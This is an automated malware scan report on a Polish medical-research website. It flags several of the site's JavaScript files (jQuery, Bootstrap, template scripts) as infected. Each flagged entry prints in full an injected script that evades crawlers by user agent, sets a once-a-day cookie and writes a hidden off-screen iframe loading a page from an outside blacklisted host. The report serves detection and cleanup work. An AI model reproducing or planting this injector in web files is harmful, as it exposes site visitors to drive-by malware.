Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=badaniamedyczne.eu
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://badaniamedyczne.eu/ | 200 OK Content-Length: 7396 Content-Type: text/html | clean |
http://badaniamedyczne.eu/media/jui/js/jquery.min.js | 200 OK Content-Length: 97480 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 6433accf7.allenfamilytree.com ...[182 bytes skipped]... ction(){function e(e,t,n){var r=(e+"").toLowerCase();var i=(t+"").toLowerCase();var s=0;if((s=r.indexOf(i,n))!==-1){return s}return false}function t(){var t=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile"];var n=false;for(var r in t){if(e(navigator.userAgent,t[r])){n=true;break}}return n}var n=getCookie("flippi_flor")===undefined;if(!t()&&n){document.write('<iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe>');var r=new Date((new Date).getTime()+24*60*60*1e3);document.cookie="flippi_flor=1; path=/; expires="+r.toUTCString()}})() !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)thr ...[2982 bytes skipped]... Decoded script: <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe> Malicious iFrame found. size: 144x144 src: http://6433accf7.allenfamilytree.com/edarkness17.html?ker This URL is marked by Google as suspicious <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"> | ||
http://badaniamedyczne.eu/media/jui/js/jquery-noconflict.js | 200 OK Content-Length: 1120 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 6433accf7.allenfamilytree.com ...[182 bytes skipped]... ction(){function e(e,t,n){var r=(e+"").toLowerCase();var i=(t+"").toLowerCase();var s=0;if((s=r.indexOf(i,n))!==-1){return s}return false}function t(){var t=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile"];var n=false;for(var r in t){if(e(navigator.userAgent,t[r])){n=true;break}}return n}var n=getCookie("flippi_flor")===undefined;if(!t()&&n){document.write('<iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe>');var r=new Date((new Date).getTime()+24*60*60*1e3);document.cookie="flippi_flor=1; path=/; expires="+r.toUTCString()}})() jQuery.noConflict(); Decoded script: <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe> Malicious iFrame found. size: 144x144 src: http://6433accf7.allenfamilytree.com/edarkness17.html?ker This URL is marked by Google as suspicious <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"> | ||
http://badaniamedyczne.eu/media/jui/js/jquery-migrate.min.js | 200 OK Content-Length: 8298 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 6433accf7.allenfamilytree.com ...[182 bytes skipped]... ction(){function e(e,t,n){var r=(e+"").toLowerCase();var i=(t+"").toLowerCase();var s=0;if((s=r.indexOf(i,n))!==-1){return s}return false}function t(){var t=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile"];var n=false;for(var r in t){if(e(navigator.userAgent,t[r])){n=true;break}}return n}var n=getCookie("flippi_flor")===undefined;if(!t()&&n){document.write('<iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe>');var r=new Date((new Date).getTime()+24*60*60*1e3);document.cookie="flippi_flor=1; path=/; expires="+r.toUTCString()}})() jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push ...[3092 bytes skipped]... Decoded script: <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe> Malicious iFrame found. size: 144x144 src: http://6433accf7.allenfamilytree.com/edarkness17.html?ker This URL is marked by Google as suspicious <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"> | ||
http://badaniamedyczne.eu/media/system/js/tabs-state.js | 200 OK Content-Length: 2928 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 6433accf7.allenfamilytree.com ...[182 bytes skipped]... ction(){function e(e,t,n){var r=(e+"").toLowerCase();var i=(t+"").toLowerCase();var s=0;if((s=r.indexOf(i,n))!==-1){return s}return false}function t(){var t=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile"];var n=false;for(var r in t){if(e(navigator.userAgent,t[r])){n=true;break}}return n}var n=getCookie("flippi_flor")===undefined;if(!t()&&n){document.write('<iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe>');var r=new Date((new Date).getTime()+24*60*60*1e3);document.cookie="flippi_flor=1; path=/; expires="+r.toUTCString()}})() jQuery(function() { var loadTab = function() { var $ = jQuery.noConflict(); jQuery(document).find('a[data-toggle ...[1248 bytes skipped]... Decoded script: <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe> Malicious iFrame found. size: 144x144 src: http://6433accf7.allenfamilytree.com/edarkness17.html?ker This URL is marked by Google as suspicious <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"> | ||
http://badaniamedyczne.eu/media/system/js/caption.js | 200 OK Content-Length: 1600 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 6433accf7.allenfamilytree.com ...[182 bytes skipped]... ction(){function e(e,t,n){var r=(e+"").toLowerCase();var i=(t+"").toLowerCase();var s=0;if((s=r.indexOf(i,n))!==-1){return s}return false}function t(){var t=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile"];var n=false;for(var r in t){if(e(navigator.userAgent,t[r])){n=true;break}}return n}var n=getCookie("flippi_flor")===undefined;if(!t()&&n){document.write('<iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe>');var r=new Date((new Date).getTime()+24*60*60*1e3);document.cookie="flippi_flor=1; path=/; expires="+r.toUTCString()}})() var JCaption=function(c){var e,b,a=function(f){e=jQuery.noConflict();b=f;e(b).each(function(g,h){d(h)})},d=function(i){var h=e(i),f=h.attr("titl ...[292 bytes skipped]... Decoded script: <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe> Malicious iFrame found. size: 144x144 src: http://6433accf7.allenfamilytree.com/edarkness17.html?ker This URL is marked by Google as suspicious <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"> | ||
http://badaniamedyczne.eu/media/jui/js/bootstrap.min.js | 200 OK Content-Length: 30255 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 6433accf7.allenfamilytree.com ...[182 bytes skipped]... ction(){function e(e,t,n){var r=(e+"").toLowerCase();var i=(t+"").toLowerCase();var s=0;if((s=r.indexOf(i,n))!==-1){return s}return false}function t(){var t=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile"];var n=false;for(var r in t){if(e(navigator.userAgent,t[r])){n=true;break}}return n}var n=getCookie("flippi_flor")===undefined;if(!t()&&n){document.write('<iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe>');var r=new Date((new Date).getTime()+24*60*60*1e3);document.cookie="flippi_flor=1; path=/; expires="+r.toUTCString()}})() !function(e){"use strict";e(function(){e.support.transition=function(){var e=function(){var e=document.createElement("bootstrap"),t={WebkitTrans ...[3080 bytes skipped]... Decoded script: <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe> Malicious iFrame found. size: 144x144 src: http://6433accf7.allenfamilytree.com/edarkness17.html?ker This URL is marked by Google as suspicious <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"> | ||
http://badaniamedyczne.eu/templates/protostar/js/template.js | 200 OK Content-Length: 2439 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: 6433accf7.allenfamilytree.com ...[182 bytes skipped]... ction(){function e(e,t,n){var r=(e+"").toLowerCase();var i=(t+"").toLowerCase();var s=0;if((s=r.indexOf(i,n))!==-1){return s}return false}function t(){var t=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile"];var n=false;for(var r in t){if(e(navigator.userAgent,t[r])){n=true;break}}return n}var n=getCookie("flippi_flor")===undefined;if(!t()&&n){document.write('<iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe>');var r=new Date((new Date).getTime()+24*60*60*1e3);document.cookie="flippi_flor=1; path=/; expires="+r.toUTCString()}})() (function($) { $(document).ready(function() { $('*[rel=tooltip]').tooltip() $('.radio.btn-group label').addClass('bt ...[1035 bytes skipped]... Decoded script: <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"></iframe> Malicious iFrame found. size: 144x144 src: http://6433accf7.allenfamilytree.com/edarkness17.html?ker This URL is marked by Google as suspicious <iframe src="http://6433accf7.allenfamilytree.com/edarkness17.html?ker" style="border-style:solid dotted dashed double;top: -1001px;left: -1001px;border-top-width: 2px;position: absolute;border-left-width: 2px;" height="144" width="144"> | ||
http://badaniamedyczne.eu/index.php/instytut | 200 OK Content-Length: 7567 Content-Type: text/html | clean |
http://badaniamedyczne.eu/index.php/badania-naukowe | 200 OK Content-Length: 6938 Content-Type: text/html | clean |
http://badaniamedyczne.eu/index.php/zdrowie-polakow | 200 OK Content-Length: 8125 Content-Type: text/html | clean |
http://badaniamedyczne.eu/index.php/biblioteka | 200 OK Content-Length: 6801 Content-Type: text/html | clean |
http://badaniamedyczne.eu/index.php/oferta | 200 OK Content-Length: 8156 Content-Type: text/html | clean |
http://badaniamedyczne.eu/index.php/kontakt | 200 OK Content-Length: 6887 Content-Type: text/html | clean |
http://badaniamedyczne.eu/index.php/ | 200 OK Content-Length: 7406 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: badaniamedyczne.eu
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Tue, 20 Jan 2015 22:48:51 GMT
Pragma: no-cache
Server: Apache/2
Vary: Accept-Encoding
Content-Length: 7396
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Tue, 20 Jan 2015 22:48:51 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: 6603dd6274a987208a6f137a46ca8b7c=4815e145da682d40a6bb993c3ec15e03; path=/; HttpOnly
...7396 bytes of data.
GET / HTTP/1.1
Host: badaniamedyczne.eu
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Tue, 20 Jan 2015 22:48:51 GMT
Pragma: no-cache
Server: Apache/2
Vary: Accept-Encoding
Content-Length: 7396
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Tue, 20 Jan 2015 22:48:51 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: 6603dd6274a987208a6f137a46ca8b7c=4815e145da682d40a6bb993c3ec15e03; path=/; HttpOnly
...7396 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: badaniamedyczne.eu
Referer: http://www.google.com/search?q=badaniamedyczne.eu
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: badaniamedyczne.eu
Referer: http://www.google.com/search?q=badaniamedyczne.eu
Result:
The result is similar to the first query. There are no suspicious redirects found.